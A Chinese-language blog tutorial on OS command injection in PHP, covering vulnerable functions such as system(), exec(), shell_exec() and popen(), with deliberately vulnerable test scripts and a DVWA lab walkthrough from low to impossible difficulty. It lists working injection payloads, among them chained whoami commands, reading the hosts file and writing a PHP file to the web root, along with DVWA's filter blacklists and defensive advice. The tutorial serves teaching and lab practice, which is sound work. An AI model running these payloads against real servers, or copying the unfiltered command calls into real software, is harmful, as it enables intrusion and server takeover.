【OS命令注入】常见OS命令执行函数以及OS命令注入利用实例以及靶场实验—基于DVWA靶场

1 OS命令注入概述

背景:程序员使用脚本语言(如PHP等)开发应用程序过程中,脚本语言开发十分快速、简洁、方便,但是也伴随着一些问题,比如速度慢、无法触及系统底层等。开发的应用时,特殊是企业级的一些应用需要去调用一些外部程序(系统命令或者exe等可执行文件),当应用需要调用一些外部程序时就会用到一些系统命令的函数。

OS命令注入:当应用在调用这些系统命令函数时,如果将用户的输入作为系统命令的参数拼接到命令中,在没有过滤用户输入的情况下,就会造成命令执行漏洞。

条件

  • 程序中含有可以执行OS命令的函数或语言结构;
  • 传入该函数或语言结构的参数是客户端可以控制的(可以直接修改或造成影响)且没有进行足够的过滤。

漏洞危害

  • 继承Web服务器程序权限(Web用户权限)去执行系统命令;
  • 继承Web服务器程序权限(Web用户权限)去读写文件;
  • 反弹shell。通常我们对一个开启了80端口的服务器进行访问时,就会建立起与服务器Web服务链接,从而获取到服务器相应的Web服务。而反弹shell是我们开启一个端口进行监听,转而让服务器主动反弹一个shell来连接我们的主机,我们再通过接收到的shell进而来远程控制服务器。
  • 控制整个网站 ;
  • 控制整个服务器。

2 常见OS命令注入函数及例子

2.1 system()函数

作用:该函数能够将字符串作为OS命令执行,自带输出功能。

原型string system ( string $command [, int &$return_var ] )

危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。

例子

  • 在网站根目录下新建Command文件夹,并在该文件夹下新建txt文件,重命名为symtem.php,该文件的测试代码如下:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
system($cmd);
}else{
    echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>
  • 在客户端我们访问该网页时带入如下参数以利用漏洞,网页将执行构造的语句返回系统信息(以下函数也是如此)。注入语句应与靶机系统相适应。
?cmd=ipconfig				//将返回IP配置信息
?cmd=cd						//查看当前目录
?cmd=systeminfo				//返回系统信息
?cmd=whoami					//
?cmd=net user				//查看或新增用户等
?cmd=dir					//将返回文件信息
?cmd=ping www.baidu.com		//执行ping命令,没结束前是不会返回结果。在Windows系统上默认ping 4次,但是在linux系统上将默认一直ping。
?cmd=type c:\windows\system32\drivers\etc\hosts	//查看系统文件
?cmd=echo"<?php phpinfo();?>">路径		//写入文件,可写入一句话木马等

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2.2 exec()函数

作用:该函数能够将字符串作为OS命令执行,需要配合输出结果命令

原型string exec ( string $command [, array &$output [, int &$return_var ]] )

危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。

例子

  • 在网站根目录下的Command文件夹下,新建txt文件,重命名为exec.php,该文件的测试代码如下:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print exec($cmd);
}else{
    echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>
  • 在客户端我们访问该网页时带入相关参数(与system()函数代入的参数一致)以利用漏洞。注意,该函数的返回结果是有限的。
    在这里插入图片描述

2.3 shell_exec()函数

作用:该函数能够将字符串作为OS命令执行,需要配合输出结果命令一般应用最广泛

危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。

例子

  • 在网站根目录下的Command文件夹下,新建txt文件,重命名为shell_exec.php,该文件的测试代码如下:
 <?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print shell_exec($cmd);
}else{
    echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>
  • 在客户端我们访问该网页时带入相关参数(与system()函数代入的参数一致)以利用漏洞。
    在这里插入图片描述

2.4 passthru()函数

作用:该函数能够将字符串作为OS命令执行,自带输出功能。

原型void passthru ( string $command [, int &$return_var ] )

危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。

例子

  • 在网站根目录下的Command文件夹下,新建txt文件,重命名为passthru.php,该文件的测试代码如下:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
passthru($cmd);
}else{
    echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>
  • 在客户端我们访问该网页时带入相关参数(与system()函数代入的参数一致)以利用漏洞。
    在这里插入图片描述

2.5 popen()函数

作用:该函数能执行OS命令,返回的是一个文件指针。无论返回什么,我们关心的是命令被执行了。

特点:与其他函数不同的是,需要传入第二个参数作为第一个参数执行结果的存储文件。

例子

  • 在网站根目录下的Command文件夹下,新建txt文件,重命名为popen.php,该文件的测试代码如下:
<meta charset='gb2312'>
<?php
if (isset($_GET['cmd'])){
	echo"<pre>";
	popen($_GET['cmd'],'r');
}else{
	echo"?cmd=whoami";
}
?>
  • 在客户端我们访问该网页时带入如下参数,网页将执行构造的语句并在同目录下生成文件(如已有该文件则追加内容)。
?cmd=ipconfig >>1.txt				//将返回IP配置信息
?cmd=systeminfo >>1.txt				//返回系统信息
?cmd=whoami >>1.txt					//
?cmd=net user >>1.txt				//查看或新增用户等
?cmd=dir >>1.txt					//将返回文件信息
?cmd=ping www.baidu.com >>1.txt		//执行ping命令,没结束前是不会返回结果。在Windows系统上默认ping 4次,但是在linux系统上将默认一直ping。

在这里插入图片描述

  • 访问刚刚写入的1.txt文件,内容如下,说明上述命令执行成功。

在这里插入图片描述

2.6 反引号结构

作用反引号内[ ]的字符串也会被解析成OS命令执行,需要配合输出结果命令

注意

  • 反引号运算符在激活了安全模式或者关闭了 shell_exec() 时是无效的。
  • 与其它某些语言不同,反引号不能在双引号字符串中使用。

例子

  • 在网站根目录下的Command文件夹下,新建txt文件,重命名为`.php,该文件的测试代码如下:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print `($cmd)`;
}else{
    echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>
  • 在客户端我们访问该网页时带入相关参数(与system()函数代入的参数一致)以利用漏洞。
    在这里插入图片描述

3 OS命令注入漏洞的利用

OS 命令注入漏洞,攻击者直接继承Web用户权限,在服务器上执行任意命令,危害特别大。以下命令均在windows 系统下测试成功。

3.1 查看系统文件

采用真实机访问system.php,其中提交参数?cmd=type c:\windows\system32\drivers\etc\hosts,查看系统hosts 文件。
在这里插入图片描述

3.2 显示当前路径

采用真实机访问system.php,其中提交参数?cmd=cd
在这里插入图片描述

3.3 写文件

(1)采用真实机访问system.php,其中提交参数?cmd=echo "<?php phpinfo();?>" > C:\phpStudy\PHPTutorial\WWW\Command\shell.php
在这里插入图片描述

(2)页面没有报错,访问shell.php 文件,验证文件是否写入成功
在这里插入图片描述

4 OS命令注入漏洞的防御

(1)尽量减少命令执行函数的使用,并在disable_functions中禁用(php.ini配置文件中的disable_functions设置);
(2)在进入命令执行函数或方法前,应对参数进行过滤;
(3)参数的值尽量使用引号进行包裹,并在拼接调用前调用addslashes进行转义。
在这里插入图片描述

5 OS命令注入漏洞靶场实验

5.1 实验目的

(1)结合SQL注入、XSS漏洞、PHP语句注入等实验,加深理解注入语句的构造与绕过思路;
(2)掌握OS命令注入漏洞的检验与利用方法;
(3)加强代码审计能力。

5.2 实验环境

靶机:win2008虚拟机,部署WAMP环境,并搭建DVWA靶场。虚拟机系统安装及WAMP部署方法参考文章《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,DVWA靶场的搭建参考《【环境搭建-02】基于WAMP环境的DVWA漏洞靶场的搭建

真实机:win10系统。

5.3 实验前准备

Windows 系例支持的多语句执行如下:

  • |:直接执行后面的语句。例如: ping 127.0.0.1|whoami。
  • ||:或,如果前面命令成功执行,那么命令结束执行;当前面的语句执行出错时,执行后面的语句。例如: ping 127.0.0.1||whoami。
  • &:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如: ping 127.0.0.1&whoami。
  • &&:与,如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如: ping 127.0.0.1&&whoami。

Linux系统支持的多语句执行如下:

  • ;:执行完前面的语句再执行后面的。例如: ping 127.0.0.1;whoami。
  • |:显示后面语句的执行结果。例如: ping 127.0.0.1|whoami。
  • ||:或,如果前面命令成功执行,那么命令结束执行;当前面的语句执行出错时,执行后面的语句。例如: ping 127.0.0.1||whoami。
  • &:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假 。例如: ping 127.0.0.1&whoami。
  • &&:如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。例如: ping 127.0.0.1&&whoami。

5.4 实验内容

尝试对不同安全级别的OS命令注入漏洞进行渗透,同时结合其代码审计互相印证学习。

5.4.1 low级别

(1)打开DVWA靶场(登录账号默认是admin,密码是password。),并将难度级别设置为low
在这里插入图片描述

(2)当输入IP地址为127.0.0.1并点击submit时,回显内容为ping的结果。对此,我们推断该处输入参数能带入到后台执行,并回显内容,可能存在注入点。在我们参数输入位置前,应该是有ping命令。
在这里插入图片描述

(3)我们采用语句whoami对网站及后台进行无损检测,更换为其他命令可实施攻击。修改参数为127.0.0.1&&whoami(127.0.0.1是为了使前面的ping闭合,&&为与),回显结果如下,可以看到成功注入出系统信息。
在这里插入图片描述
(4)这是几个注入语句的测试结果对比,可以注入语句可能还有更多:

127.0.0.1&&whoami			//成功执行并返回ping的信息和whoami的信息
127.0.0.1&whoami			//成功执行并返回ping的信息和whoami的信息
127.0.0.1;whoami			//执行失败,从cmd运行结果看似乎分号不能分隔开两个语句
127.0.0.1|whoami			//成功执行,仅返回whoami信息。
127.0.0.1| whoami			//成功执行,仅返回whoami信息。
127.0.0.0.1||whoami			//故意输入一个错误的IP,让程序执行或运算符后面的语句。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

(5)代码审计,可以看到该网页采用了shell_exec函数,同时,参数没有任何过滤。
在这里插入图片描述

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>

5.4.2 medium级别

(1)将DVWA靶场的难度级别设置为medium
(2)在low级别的基础上,测试其可行注入语句在medium级别的运行情况。

127.0.0.1&&whoami			//执行失败,从显示错误信息判断可能是&&被过滤
127.0.0.1&whoami			//成功执行并返回ping的信息和whoami的信息
127.0.0.1|whoami			//成功执行,仅返回whoami信息。
127.0.0.1| whoami			//成功执行,仅返回whoami信息。
127.0.0.0.1||whoami			//故意输入一个错误的IP,让程序执行或运算符后面的语句。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

(3)代码审计,从其代码分析,在参数输入后对&&和;都过滤掉了。
在这里插入图片描述

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>

5.4.3 high级别

(1)将DVWA靶场的难度级别设置为high

(2)在low级别的基础上,测试其可行注入语句在medium级别的运行情况。

127.0.0.1&&whoami			//执行失败,从显示错误信息判断可能是&&被过滤
127.0.0.1&whoami			//执行失败,从显示错误信息判断可能是&被过滤
127.0.0.1|whoami			//成功执行,仅返回whoami信息。
127.0.0.1| whoami			//执行失败,从显示错误信息判断可能是| 被过滤
127.0.0.0.1||whoami			//执行失败,从显示错误信息判断可能是||被过滤

(3)代码审计,从其代码分析,在参数输入后对多种符号都过滤掉了。
在这里插入图片描述

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);
    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>

5.4.4 impossible级别

(1)将DVWA靶场的难度级别设置为impossible
(2)代码审计,该级别的代码过滤原则采用的是“满足才给过”,而不是前两关的“满足黑名单就过滤”的原则,因此无法注入其他命令骗其执行。但是该代码的书写方式也限制了用户的输入,比如ping域名则无法ping通
在这里插入图片描述

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );
    // Split the IP into 4 octects
    $octet = explode( ".", $target );
    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}
// Generate Anti-CSRF token
generateSessionToken();
?>

6 总结

(1)了解可能引起OS命令注入的函数;
(2)掌握这些函数的使用方法;
(3)了解常用的防御方法。
(4)了解OS命令注入的绕过思路。

  • 4
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值